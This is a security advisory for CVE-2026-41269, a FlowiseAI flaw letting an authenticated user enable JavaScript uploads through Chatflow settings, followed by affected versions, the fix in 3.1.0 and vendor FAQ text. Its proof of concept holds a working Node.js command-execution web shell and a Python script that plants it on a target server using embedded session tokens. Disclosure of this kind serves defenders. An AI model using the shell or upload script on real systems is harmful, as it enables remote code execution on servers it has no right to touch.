CVE-2026-41269

In FlowiseAI, the Chatflow configuration file upload settings can be modified to allow the application/javascript MIME type. This lets an attacker upload .js files even though the frontend doesn’t normally allow JavaScript uploads. This enables attackers to persistently store malicious Node.js web shells on the server, potentially leading to Remote Code Execution (RCE).

Details

This is a bypass of GHSA‑35g6‑rrw3‑v6xc (CVE‑2025‑61687). The Chatflow file upload settings do not properly validate MIME types. An attacker can add the application/javascript MIME type when updating a Chatflow, allowing .js files to be uploaded.

JavaScript files are not listed as an option for file upload types within web user interface:

PoC

shell.js (Node.js Web Shell)

const { exec } = require('child_process');
const http = require('http');

const server = http.createServer((req, res) => {
    const url = new URL(req.url, 'http://localhost');
    const cmd = url.searchParams.get('cmd');

    if (cmd) {
        console.log(`Executing: ${cmd}`);
        exec(cmd, (error, stdout, stderr) => {
            res.writeHead(200, {'Content-Type': 'text/plain'});
            if (error) {
                res.end(`Error: ${error.message}\n${stderr || ''}`);
            } else {
                res.end(stdout || 'Command executed successfully');
            }
        });
    } else {
        res.writeHead(200, {'Content-Type': 'text/html'});
        res.end(`
            <h1>Node.js Web Shell</h1>
            <p>Use ?cmd=command to execute</p>
            <p>Example: ?cmd=id</p>
        `);
    }
});

const PORT = 8888;
server.listen(PORT, '0.0.0.0', () => {
    console.log(`Shell running on port ${PORT}`);
    console.log(`Access: http://localhost:${PORT}?cmd=id`);
});

Python Upload Script

import requests
import uuid

TARGET_URL = "http://192.168.236.131:3000"
CHATFLOW_ID = "dfd67fff-23b5-4f62-a0b3-59963cabc3b2"
cookie_str = 'token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImEzZGNlMjgyLTE1ZDUtNDYwMi04MjI2LTc1MmQzYzExYzI5NyIsInVzZXJuYW1lIjoiYWRtaW4iLCJtZXRhIjoiOTRiOGY2MTIyMzI3ZmFmODg0YzM4OGM4Y2YwZTg3ZGU6MTVkNDc4MDFjNTQ0N2Q3NDU2Mzg3OWE2N2E5YmJjNmM0M2JiYjYzNDE0Y2MzZWY2ZThkYjAzZTRhNjM3MjBiNzA5NmI3YmIwMGM3YWI3YTRmM2QzN2E2OTRiMGVmY2UzOTFiZGU3MWJiNWViZDIyN2ZhNzc0NmQ0ZjFmNTM5NTFhOGJkNjdlMzEyZjMzOTk5OWQ0ZGNkYmVmYWU3OWI4NSIsImlhdCI6MTc2Nzg1ODE2NSwibmJmIjoxNzY3ODU4MTY1LCJleHAiOjE3Njc4NjE3NjUsImF1ZCI6IkFVRElFTkNFIiwiaXNzIjoiSVNTVUVSIn0.lUtIFztKIT6Ld8cnPaPnPfm0B47yhurPJRW6JhtSwu8; refreshToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImEzZGNlMjgyLTE1ZDUtNDYwMi04MjI2LTc1MmQzYzExYzI5NyIsInVzZXJuYW1lIjoiYWRtaW4iLCJtZXRhIjoiOThmZGE5YWE2MDZhYTA3YTMxYjZlYzhjZTkyMmZkMDA6ZTU2ZTczMTEwYjY3ZDE3ZTM3MjViZWI2YzMyYWYzNTNkOWExNzIzZWU0NzdiN2ZiMDQ1N2Q0M2JmZTY0NTIxZTlkNjM2ZWQwODgxNWJiNzU4Mjg2ZDQ3OGMwNTA3NTRkZTgwMWIwODljNDQ5YjhhZjVkODU2YWFiMzk4NTBjNjNlZjRmY2UzMmY4YWYzZmQxNGQzMmVhYzVhYjVmM2NjZCIsImlhdCI6MTc2Nzg1MzU4NSwibmJmIjoxNzY3ODUzNTg1LCJleHAiOjE3NzU2Mjk1ODUsImF1ZCI6IkFVRElFTkNFIiwiaXNzIjoiSVNTVUVSIn0.U3mm0ONOeGFP1gD-mPT90Iz_Ewwf-YXzmTPwoOEHG_g; connect.sid=s%3Avwp7SDKi02Mzu_nTF3-IZ-RfgmMnnp5o.K7kb5eg9CJ%2FuxupG4rJrT6I0fu0H93OTd5trNC0u88Y'
js_mime_type = 'application/javascript'
CHAT_ID = str(uuid.uuid4())

def configure_chatflow_uploadfile():
    url = f"{TARGET_URL}/api/v1/chatflows/{CHATFLOW_ID}"
    headers = {'Cookie': cookie_str, 'x-request-from': 'internal'}
    chatbot_configdata = {"chatbotConfig":'{\"fullFileUpload\":{\"status\":true,\"allowedUploadFileTypes\":\"' + js_mime_type + ',text/css,text/csv,text/html,application/json,text/markdown,application/x-yaml,application/pdf,application/sql,text/plain,application/xml,application/msword,application/vnd.openxmlformats-officedocument.wordprocessingml.document,application/vnd.openxmlformats-officedocument.spreadsheetml.sheet,application/vnd.openxmlformats-officedocument.presentationml.presentation\",\"pdfFile\":{\"usage\":\"perPage\",\"legacyBuild\":false}}}'}
    r = requests.put(url, headers=headers, json = chatbot_configdata)

    if js_mime_type in r.text:
        print("[+] Enabled .js file uploads")
    else:
        print("[-] Failed to enable .js file uploads")

def upload_shell():
    url = f"{TARGET_URL}/api/v1/attachments/{CHATFLOW_ID}/{CHAT_ID}"
    headers = {'Cookie': cookie_str}
    files = {'files': ('shell.js', open('shell.js', 'rb'), 'application/javascript')}
    r = requests.post(url, headers=headers, files=files)

    if r.status_code == 200:
        print("[+] Upload success")
        print(r.text)
    else:
        print(f"[-] Upload failed ({r.status_code})")
        print(r.text)

if __name__ == "__main__":
    configure_chatflow_uploadfile()
    upload_shell()

An attacker can persistently upload and store malicious web shells on the server. If executed, this leads to Remote Code Execution (RCE). The risk increases if administrators unknowingly trigger the shell or if other vulnerabilities are chained to execute the file. This presents a high-severity threat to system integrity and confidentiality.

The application accepts file uploads without adequately restricting the file type or content. Typical impact: remote code execution if the uploaded file can be served and executed on the server.

CVE-2026-41269 has a CVSS score of 7.1 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.1.0); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-41269? CVE-2026-41269 is a high-severity unrestricted upload of dangerous file types vulnerability in flowise (npm), affecting versions <= 3.0.13. It is fixed in 3.1.0. The application accepts file uploads without adequately restricting the file type or content.
2. How severe is CVE-2026-41269? CVE-2026-41269 has a CVSS score of 7.1 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of flowise are affected by CVE-2026-41269? flowise (npm) versions <= 3.0.13 is affected.
4. Is there a fix for CVE-2026-41269? Yes. CVE-2026-41269 is fixed in 3.1.0. Upgrade to this version or later.
5. Is CVE-2026-41269 exploitable, and should I be worried? Whether CVE-2026-41269 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-41269 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-41269? Upgrade flowise to 3.1.0 or later.